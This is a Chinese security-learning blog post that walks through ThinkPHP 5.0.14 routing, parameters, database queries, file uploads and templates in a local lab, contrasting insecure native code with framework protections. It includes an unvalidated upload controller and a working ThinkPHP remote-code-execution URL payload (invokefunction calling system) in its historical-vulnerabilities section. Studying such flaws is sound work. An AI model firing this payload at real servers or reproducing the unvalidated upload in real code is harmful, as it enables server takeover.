安全信息打点第27天:安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞
Yatming的博客
Thinkphp
ThinkPHP 是一款免费开源的轻量级 PHP 开发框架,由国内团队开发,专注于简化企业级应用开发和 API 开发。它以 “简洁、高效、实用” 为设计理念,适合快速构建稳定、可扩展的 Web 应用。
Thinkphp官网:https://www.thinkphp.cn/
访问路径:http://127.0.0.1/demo01/thinkphp_5.0.14_full/public/

那么这个页面你可以看到public这个路径下都没有这个文件,那么是如何进行访问到这个界面的呢?


修改这个默认页面:


1 2 3 4 5 6 7 8
| thinkphp的访问方式: http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作(方法)/[参数名/参数值...]
也就是说如果我要触发这里applicable下的index下的index.php我直接按照原本的路径去访问是访问不了的,正确的访问方式是,前提是你将网站的根目录设置为thinkphp的根目录:ip/index.php/index/index/index 为什么是这个路径,因为index.php是要访问的文件名,那么按照官方的手册,应该排在第一位,然后后面这个index是模块的名字,第二个index是控制器的名字,最后一个index是操作/方法
如果你没有将网站的根路径设置为thinkphp那么你的路径为: http://127.0.0.1/demo01/thinkphp_5.0.14_full/public/index.php/index/index/index
|

开启调试状态

那么根据上面的访问规则在控制index里面自己手动创建一个操作,看看是否可以按照路由规则进行访问:
1 2 3 4
| public function yatming() { echo '<h1>Yatming 666</h1>'; }
|

1
| 访问路径:http://127.0.0.1/demo01/thinkphp_5.0.14_full/public/index.php/index/index/yatming
|

接收参数的区别
原生态接收参数的方式
之前我们写的接收参数的方式都是如下:
1 2
| $x = $_GET['x']; $x = $_POST['x'];
|
那么用到thinkphp的话就是:
1 2 3 4 5 6 7 8 9
| public function yatming() { $x = $_GET['x']; return $x; }
访问地址; http://127.0.0.1/demo01/thinkphp_5.0.14_full/public/index.php/index/index/yatming?x=yatming%20hhhh
|

thinkphp接收参数的方式
如果你要用到这种方式的话,这里得调用一下下图红框中的模块:

1 2 3 4 5 6 7
| return $this->request->param('name');
传递的url可以有两种传输方式; http://127.0.0.1/demo01/thinkphp_5.0.14_full/public/index.php/index/index/yatming/?name=123123
第二种: http://127.0.0.1/demo01/thinkphp_5.0.14_full/public/index.php/index/index/yatming/name/123
|

新建一个模块


1 2 3 4 5 6 7
| http://127.0.0.1/demo01/thinkphp_5.0.14_full/public/index.php/test/test/index
这里还有一个是需要注意的点,就是我不管控制器下面的是:xxx.php,访问的都是public下面的这个入口文件的index.php,然后跟上模块名,控制器的名字,操作名字
将网站根目录指向,public目录: http://127.0.0.1:81/index.php/test/test/index 都是差不多的,唯一注意的点就是上面说的 ,你在控制器下面创建任何文件名,访问的时候都是从index.php这个文件进行访问的。
|

使用thinkphp操作数据库
原生链接数据库的方式
1 2 3 4 5 6 7 8 9 10 11 12
| <?php $dbip='localhost'; $dbuser='root'; $dbpass='root'; $dbname='demo01'; $con=mysqli_connect($dbip,$dbuser,$dbpass,$dbname);
?>
首先是建立数据库的连接,然后在php中调用就是: $sql1="select * from gbook"; $data=mysqli_query($con,$sql1);
|
thinkphp连接数据库的方式
前置条件
1 2 3
| use think\Db;
然后修改一下application/database.php
|

在刚刚创建的test中,新建一个方法,使用thinphp的连接方式:
1 2 3 4 5
| public function testsql(){ $data = Db::name('demo01')->where('id',1)->find(); return json($data);
}
|

两种方式的安全风险
原生


自己写的可以正常进行注入,应为没有任何防护。
thinkphp

这里后面写入任何值都没有反应:

说明使用php自带的框架代码是有过滤的。
文件上传
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| <?php namespace app\test\controller; use think\Request; use think\Controller; use think\Db;
class Test extends Controller { public function index() { echo "这个个是test方法"; }
public function testsql() { $data = Db::name('demo01')->where('id', 1)->find(); return json($data);
}
public function upload() { $file = request()->file('image');
if ($file) { $info = $file->move(ROOT_PATH . 'public' . DS . 'uploads'); if ($info) { echo $info->getExtension(); echo $info->getSaveName(); echo $info->getFilename(); } else { echo $file->getError(); } }
} }
|
访问上传路径:
1
| http://127.0.0.1/demo01/thinkphp_5.0.14_full/public/upload.html
|

然后这里上传其他类型的文件:


同样是可以正常上传,但是他这里同样有安全的文件上传,这里在试一下安全的文件上传:
安全文件上传
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public function upload(){ $file = request()->file('image'); $info = $file->validate(['size'=>15678,'ext'=>'jpg,png,gif'])->move(ROOT_PATH . 'public' . DS . 'uploads'); if($info){ echo $info->getExtension(); echo $info->getSaveName(); echo $info->getFilename(); }else{ echo $file->getError(); } }
|

上传图片的时候是正常的。这里显示文件后缀不允许。然后查看上传目录也是没有上传成功的,同样说明thinkphp在对文件上传的时候有自己代码过滤。
thinkphp的模板
我们在index的controller下面创建一个同级目录view

他的目录结构如下:

他的代码文件内容:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <!doctype html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>{$name}</title> </head> <body> {$email} </body> </html>
|
然后你在默认的index控制器中可以写一条,就可以默认找默认的视图文件:

如果你要进行访问这个html的话:

使用模板
访问:http://127.0.0.1/demo01/thinkphp_5.0.14_full/public/index.php/index/index/yatming
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php namespace app\index\controller; use think\Request; use think\Controller;
class Index extends Controller { public function index() { return $this->fetch(); }
public function yatming() {
$this->assign('name','ThinkPHP'); $this->assign('email','thinkphp@qq.com'); $this->assign([ 'name' == 'ThinkPHP', 'email' == 'thinkphp@qq.com' ]); return $this->fetch('index'); } }
|

thinkphp历史漏洞
如果查看thinkphp的版本:

1
| http://127.0.0.1/demo01/thinkphp_5.0.14_full/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
|

总结:
1 2 3 4 5 6
| 安全写法: 规矩写法:不是绝对的安全,如果有历史漏洞,同样是有问题,不是说是这个历史漏洞的版本就一定有这个漏洞,因为是可以打补丁的。所以不绝对。
用一半的安全写法:有安全隐患
自己写的原生代码:漏洞百出
|
逻辑漏洞
假设一个网站的管理员的UID是1,普通用户是10,那么如果我可以更改这个UID的值,是不是可以将普通用户的10改成1,变成管理员用户,那么同样如果普通用户是10+,我是否可以通过修改UID这个值变成其他普通的用户呢?